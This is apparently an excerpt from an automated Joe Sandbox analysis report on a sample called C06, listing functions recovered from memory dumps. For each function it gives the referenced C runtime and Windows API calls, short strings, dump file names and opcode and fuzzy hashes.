Uniqueness

Uniqueness Score: -1.00%

Function 0234650E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 02346547
__calloc_crt.LIBCMT ref: 02346598
__lock.LIBCMT ref: 023465AE
__copytlocinfo_nolock.LIBCMT ref: 023465BF
_wcscmp.LIBCMT ref: 023465F9
__lock.LIBCMT ref: 02346610
__updatetlocinfoEx_nolock.LIBCMT ref: 02346622
___removelocaleref.LIBCMT ref: 02346628
__updatetlocinfoEx_nolock.LIBCMT ref: 02346647

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: cc4353cc9e2b3a2cb5380e397778994dc24c72a37a058dfe8160867f6b5d4d82
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 5D413432904304AFDB20AFA4DD82B9E7BEAEF45314F1040AEEA1496190DF79BA44DF11

Uniqueness

Uniqueness Score: -1.00%

Function 023484AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 023484B1
_free.LIBCMT ref: 023484E2
_free.LIBCMT ref: 023484F5
_free.LIBCMT ref: 02348513
_free.LIBCMT ref: 02348525
_free.LIBCMT ref: 02348536
_free.LIBCMT ref: 02348541
_free.LIBCMT ref: 02348565
_free.LIBCMT ref: 02348581
_free.LIBCMT ref: 02348597
_free.LIBCMT ref: 023485BF

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 37a321342b6d8acf37d6b68689fbda10cb21d704a74442adc424bf35d06c3ffc
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 4131C131900654DFCB21AF14FC8088977E6FB1432474486EAEA48672B0CFF479C9AF94

Uniqueness

Uniqueness Score: -1.00%

Function 0236FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0236FC1F

Part of subcall function 0235169C: std::exception::_Copy_str.LIBCMT ref: 023516B5

__CxxThrowException@8.LIBCMT ref: 0236FC34
std::exception::exception.LIBCMT ref: 0236FC4D
__CxxThrowException@8.LIBCMT ref: 0236FC62
std::regex_error::regex_error.LIBCPMT ref: 0236FC74

Part of subcall function 0236F914: std::exception::exception.LIBCMT ref: 0236F92E

__CxxThrowException@8.LIBCMT ref: 0236FC82
std::exception::exception.LIBCMT ref: 0236FC9B
__CxxThrowException@8.LIBCMT ref: 0236FCB0

Strings

leM, xrefs: 0236FCA8

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 034873fd58794b3003af39e40a3a80d1177dd3512831126cdca6079dd1cabbd0
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: EC11FB79C0020DBBCF10FFA5D855DEEBBBDAB04344F5089A6AD5897640EB74A3488F94

Uniqueness

Uniqueness Score: -1.00%

Function 0232F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0232F01F

Part of subcall function 02341602: __FF_MSGBANNER.LIBCMT ref: 02341619
Part of subcall function 02341602: __NMSG_WRITE.LIBCMT ref: 02341620

_malloc.LIBCMT ref: 0232F02B
_wprintf.LIBCMT ref: 0232F03E
_free.LIBCMT ref: 0232F044
_free.LIBCMT ref: 0232F065
_malloc.LIBCMT ref: 0232F06D
_sprintf.LIBCMT ref: 0232F0C0
_wprintf.LIBCMT ref: 0232F0D2
_wprintf.LIBCMT ref: 0232F0DC
_free.LIBCMT ref: 0232F0E5

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 6597d63d943b3a692e2749476173cb026562049070c91fac4c9eb47b3610d25a
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 7D1106B29009647AC271A6B55C11FFF7BED9F45702F0400E9FE8CE1180DF58AA149BB1

Uniqueness

Uniqueness Score: -1.00%

Function 02331960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 023319C6
__CxxThrowException@8.LIBCMT ref: 023319F1
__CxxThrowException@8.LIBCMT ref: 02331A1A
__CxxThrowException@8.LIBCMT ref: 02331A4B
_memset.LIBCMT ref: 02331A6A
__CxxThrowException@8.LIBCMT ref: 02331A90
_malloc.LIBCMT ref: 02331AA0
_memset.LIBCMT ref: 02331AAB
_sprintf.LIBCMT ref: 02331ACE

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 06b4111afaadf72ccdf261786cfb2a252cc55a418724815400241a800c87dfdc
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: FD516D71D40219ABDB21DBA5DC86FEFBBB9FF04704F100065F949F6180EB74AA018BA5

Uniqueness

Uniqueness Score: -1.00%

Function 004054E6 Relevance: 12.1, APIs: 8, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

__decode_pointer.LIBCMT ref: 004054F5

Part of subcall function 00408952: TlsGetValue.KERNEL32(00000000,?,004089ED,?,?,00408BA6,?,00405C19,?,?,004061D0,?,00402392), ref: 00408964
Part of subcall function 00408952: TlsGetValue.KERNEL32(00000004,?,004089ED,?,?,00408BA6,?,00405C19,?,?,004061D0,?,00402392), ref: 0040897B

__decode_pointer.LIBCMT ref: 00405505

Part of subcall function 00408952: GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,004089ED,?,?,00408BA6,?,00405C19,?,?,004061D0,?,00402392), ref: 00408991
Part of subcall function 00408952: __crt_waiting_on_module_handle.LIBCMT ref: 0040899C
Part of subcall function 00408952: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 004089AC

__msize.LIBCMT ref: 00405523
__realloc_crt.LIBCMT ref: 00405547
__realloc_crt.LIBCMT ref: 0040555D
__encode_pointer.LIBCMT ref: 0040556F
__encode_pointer.LIBCMT ref: 0040557D
__encode_pointer.LIBCMT ref: 00405588

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: __encode_pointer$Value__decode_pointer__realloc_crt$AddressHandleModuleProc__crt_waiting_on_module_handle__msize
String ID:
API String ID: 2836500094-0
Opcode ID: 306c9e6be83aeb9639f75da8659460647e50f2ea36e76d93a5b79e4f81dd418e
Instruction ID: 5aaf25b28b930d396692d7e5ff28467f3ef6f90411816e538a773a4a8e1c44d3
Opcode Fuzzy Hash: 306c9e6be83aeb9639f75da8659460647e50f2ea36e76d93a5b79e4f81dd418e
Instruction Fuzzy Hash: C311AF72504601BADB01AB69ED828AA3BA7DB85364325843FF444FA191EF39DD418A4C

Uniqueness

Uniqueness Score: -1.00%

Function 00404B3B Relevance: 12.1, APIs: 8, Instructions: 60fileCOMMON

Download Yara Rule

APIs

PeekConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 00404B76
FillConsoleOutputCharacterA.KERNEL32(00000000,00000000,00000000,?,?), ref: 00404B91
GlobalFree.KERNEL32(00000000), ref: 00404B98
ReleaseActCtx.KERNEL32(?), ref: 00404BA2
SetComputerNameA.KERNEL32(00000000), ref: 00404BA9
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 00404BB1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00404BB8
FindNextFileA.KERNEL32(00000000,?), ref: 00404BC6

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: ConsoleFree$BoostCharacterComputerEnvironmentFileFillFindGlobalInputNameNextOutputPeekPriorityProcessReleaseStrings
String ID:
API String ID: 1313739779-0
Opcode ID: abb8631fac93c6cb2309624922b222abda0fac8d100c67c2b691836eebb8ea34
Instruction ID: f74aadf0f070808a9b34f4db44a9fabf019c36944a0f3fe93d5325e19b98b120
Opcode Fuzzy Hash: abb8631fac93c6cb2309624922b222abda0fac8d100c67c2b691836eebb8ea34
Instruction Fuzzy Hash: DD114F76901118BFD711ABE0EE48CEF7B7CEF49341B004062F645E2120D7389A458BB9

Uniqueness

Uniqueness Score: -1.00%

Function 0232F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0232F284
__CxxThrowException@8.LIBCMT ref: 0232F2AF
__CxxThrowException@8.LIBCMT ref: 0232F2DE
__CxxThrowException@8.LIBCMT ref: 0232F30F
_memset.LIBCMT ref: 0232F32E
__CxxThrowException@8.LIBCMT ref: 0232F354
_sprintf.LIBCMT ref: 0232F373

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 0c5a2598599c813e72a8792cb5bb130482699c5933c87722d65d49bdeb0cb345
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 225170B1D40219ABDF21DFA1DD46FEEBBB9EF04704F100065FA05B6180D779AA058FA4

Uniqueness

Uniqueness Score: -1.00%

Function 0232F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0232F4B7
__CxxThrowException@8.LIBCMT ref: 0232F4E2
__CxxThrowException@8.LIBCMT ref: 0232F504
__CxxThrowException@8.LIBCMT ref: 0232F535
_memset.LIBCMT ref: 0232F554
__CxxThrowException@8.LIBCMT ref: 0232F57A
_sprintf.LIBCMT ref: 0232F594

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: df691617dbdcab6e4cd05a8e2c88795aaa459008fe72a3ed541eabcdbdca50df
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 7D514171D40219AADF21DFA1DC46FEEBBBDEF04704F200129F905B6180DB74AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040B555 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040B561

Part of subcall function 00408B9E: __getptd_noexit.LIBCMT ref: 00408BA1
Part of subcall function 00408B9E: __amsg_exit.LIBCMT ref: 00408BAE

__amsg_exit.LIBCMT ref: 0040B581
__lock.LIBCMT ref: 0040B591
InterlockedDecrement.KERNEL32(?), ref: 0040B5AE
InterlockedIncrement.KERNEL32(02451660), ref: 0040B5D9

Strings

gJ, xrefs: 0040B5B8

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID: gJ
API String ID: 4271482742-1485095282
Opcode ID: 6fe938256e307b45212e0bc211643723d6357f4284ab999f88a57e693d857a27
Instruction ID: 4494d421b78f6897492384da27cc19693bf82d3cc8682612e09ab2adfaedcc10
Opcode Fuzzy Hash: 6fe938256e307b45212e0bc211643723d6357f4284ab999f88a57e693d857a27
Instruction Fuzzy Hash: C401A531901611ABDB21AF25980575E7760EF08728F06017BE880B76D0CB3C6D41CBCD

Uniqueness

Uniqueness Score: -1.00%

Function 0236208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 023620C6
__invoke_watson.LIBCMT ref: 02362120
_strlen.LIBCMT ref: 023620D4

Part of subcall function 02345BA8: __getptd_noexit.LIBCMT ref: 02345BA8

_strnlen.LIBCMT ref: 0236215F
__lock.LIBCMT ref: 02362170
__getenv_helper_nolock.LIBCMT ref: 0236217B

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 4a392e6ff03203a3d67213f1ef0876014c5f6e932c135984b05a4ab4388bbbb2
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A0314572A042226BDB316B64CC08B7F7BDD9F05B64F16C461ED04EB288DF749901CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00406591 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 004065B3
__calloc_crt.LIBCMT ref: 004065CC

Strings

XbJ, xrefs: 00406635
hdJ, xrefs: 004065F8
aJ, xrefs: 004065E3

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: __calloc_crt
String ID: XbJ$hdJ$aJ
API String ID: 3494438863-3982869451
Opcode ID: a4c390a323f9f90c83ff34df4e63916b3681dd4dc3570566b78cad69634d66bf
Instruction ID: 034e06a1f0c6b9d44f983cd085d7d7dbabdd60fde9c860d53af919a366a32c94
Opcode Fuzzy Hash: a4c390a323f9f90c83ff34df4e63916b3681dd4dc3570566b78cad69634d66bf
Instruction Fuzzy Hash: AC119C313855113BEB288E1EBC516A72792A784338B1E513FE202E63D5FB3CC841414C

Uniqueness

Uniqueness Score: -1.00%

Function 004061A8 Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004061CB
_memset.LIBCMT ref: 004061F5

Part of subcall function 00405E27: __getptd_noexit.LIBCMT ref: 00405E27

Part of subcall function 00405DBF: __decode_pointer.LIBCMT ref: 00405DCA

WideCharToMultiByte.KERNEL32(?,?,?,00000001,?,?,?,?,?,00402392), ref: 0040628C
GetLastError.KERNEL32(?,?,00000001,?,?,?,?,?,00402392), ref: 004062AA
_memset.LIBCMT ref: 004062CC

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: Locale_memset$ByteCharErrorLastMultiUpdateUpdate::_Wide__decode_pointer__getptd_noexit
String ID:
API String ID: 1064751000-0
Opcode ID: 5e383a6ac68ce4b46427bad05b47e6c3c2817dfce2b38dbe1d597ff98bf70ff1
Instruction ID: 8df0c06f17189da7409cd0cc9a3cec2afcef77544f14b6469c8b45ba004bd6fc
Opcode Fuzzy Hash: 5e383a6ac68ce4b46427bad05b47e6c3c2817dfce2b38dbe1d597ff98bf70ff1
Instruction Fuzzy Hash: 1B31AF71900146AFCB21BF64D8819AF3B60EB01314F0241BFF4527F2D2D7398DA59BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405F6B Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00405F89

Part of subcall function 004075E6: __mtinitlocknum.LIBCMT ref: 004075FC
Part of subcall function 004075E6: __amsg_exit.LIBCMT ref: 00407608
Part of subcall function 004075E6: EnterCriticalSection.KERNEL32(?,?,?,004073CD,00000004,004A4EE8,0000000C,00408ECF,?,?,00000000,00000000,00000000,?,00408B50,00000001), ref: 00407610

___sbh_find_block.LIBCMT ref: 00405F94
___sbh_free_block.LIBCMT ref: 00405FA3
HeapFree.KERNEL32(00000000,?,004A4E88,0000000C,004075C7,00000000,004A4F08,0000000C,00407601,?,?,?,004073CD,00000004,004A4EE8,0000000C), ref: 00405FD3
GetLastError.KERNEL32(?,004073CD,00000004,004A4EE8,0000000C,00408ECF,?,?,00000000,00000000,00000000,?,00408B50,00000001,00000214), ref: 00405FE4

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 43a786ec1801ca4899049075f04ddc19da742497bc061c25d69e8a887bf72264
Instruction ID: c9d630fe59bae0a3f10aaa5846cabf6faea0d0010a4cdcb4687ade1129b73ffe
Opcode Fuzzy Hash: 43a786ec1801ca4899049075f04ddc19da742497bc061c25d69e8a887bf72264
Instruction Fuzzy Hash: CE01A231848B07AADB206BB2AD0AB9F3A64EF10368F11443FF401B65D1CB3C9940CE9D

Uniqueness

Uniqueness Score: -1.00%

Function 02332670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 023326DB
_memset.LIBCMT ref: 02332A30
_memset.LIBCMT ref: 02332AC0

Strings

D, xrefs: 02332AC8

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: adefcb33285904b6c679bcfbb367858a3be5edca788d99c601e45b55a1520df9
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 6DE15C71D00219ABDF25DFA0CD89FEFB7B8BF04304F1441A9EA09A6190EB74AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0232D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0232D8EA

Strings

, xrefs: 0232DADB
(, xrefs: 0232DAE9
$, xrefs: 0232DAE2

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 68f505793bdc1c213ddd65e7630780b0be15cc81b48d7696239e19b417539a93
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 8891A071D0021CAAEF21CFA0CC59BEEBBB5AF05304F2441A9E505772C1DBB65A48CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402F76 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

__set_statfp.LIBCMT ref: 00406F4B
__set_statfp.LIBCMT ref: 00406F66

Strings

, xrefs: 00406F5E
f7O>, xrefs: 00402FEB

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: __set_statfp
String ID: $f7O>
API String ID: 441778723-197540090
Opcode ID: d36ee20be69e24c723b383d926ebe454cf5faea3921979e9be3e5757cac83e9a
Instruction ID: acfe13decc694b8b0bf0e01ebba99c203ba7f98b304173061b2e93114dc9d0e4
Opcode Fuzzy Hash: d36ee20be69e24c723b383d926ebe454cf5faea3921979e9be3e5757cac83e9a
Instruction Fuzzy Hash: AB51691294E7D64FC7138BB458656997F709E13224B1A01DBC8C1EF1E3C66C8E1AC7A6

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF14 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00407338), ref: 0040CF19
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0040CF29

Strings

IsProcessorFeaturePresent, xrefs: 0040CF23
KERNEL32, xrefs: 0040CF14

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 4a0025941ae9ac294a4ddcb7b8edcb6c0f08a7d15cf90a61b1eb0f8165816ce2
Instruction ID: b57d27325a795bdd6eb17dd939704b4f8624e9cac594d97c34ba8d3e1fb6ad44
Opcode Fuzzy Hash: 4a0025941ae9ac294a4ddcb7b8edcb6c0f08a7d15cf90a61b1eb0f8165816ce2
Instruction Fuzzy Hash: 75F03630A40609E3DF001BA1AD4A26F7A79BF80782F9105A1E5D1B00E4DF749075824A

Uniqueness

Uniqueness Score: -1.00%

Function 0233A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0233A858
_memset.LIBCMT ref: 0233A869
_memset.LIBCMT ref: 0233A87A

Strings

p2Q, xrefs: 0233A882

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: cab4f9c7b000fb5aaaf50fca2f60ddc58dbb2a2a7dae53a183c1c567ae96ba44
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 2BF0E578A94790A5F7217B60BC267857DD27B32B08F1040C5D1142E2E1D7FD734C6799

Uniqueness

Uniqueness Score: -1.00%

Function 0236FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0236FBF1

Part of subcall function 0235169C: std::exception::_Copy_str.LIBCMT ref: 023516B5

__CxxThrowException@8.LIBCMT ref: 0236FC06

Strings

TeM, xrefs: 0236FBFE
TeM, xrefs: 0236FBE7, 0236FBFB

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 514ece00dc1a064afbee8d802c0c664d59fc02ebe1aa5d12a8a17b34552cbb6c
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 95D06775C0021CBBCB10EFA5D459DDDBBB9AA04344B108466AD5897241EA74A3498FD4

Uniqueness

Uniqueness Score: -1.00%

Function 0232D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0234197D: __wfsopen.LIBCMT ref: 02341988

_fgetws.LIBCMT ref: 0232D15C

Memory Dump Source

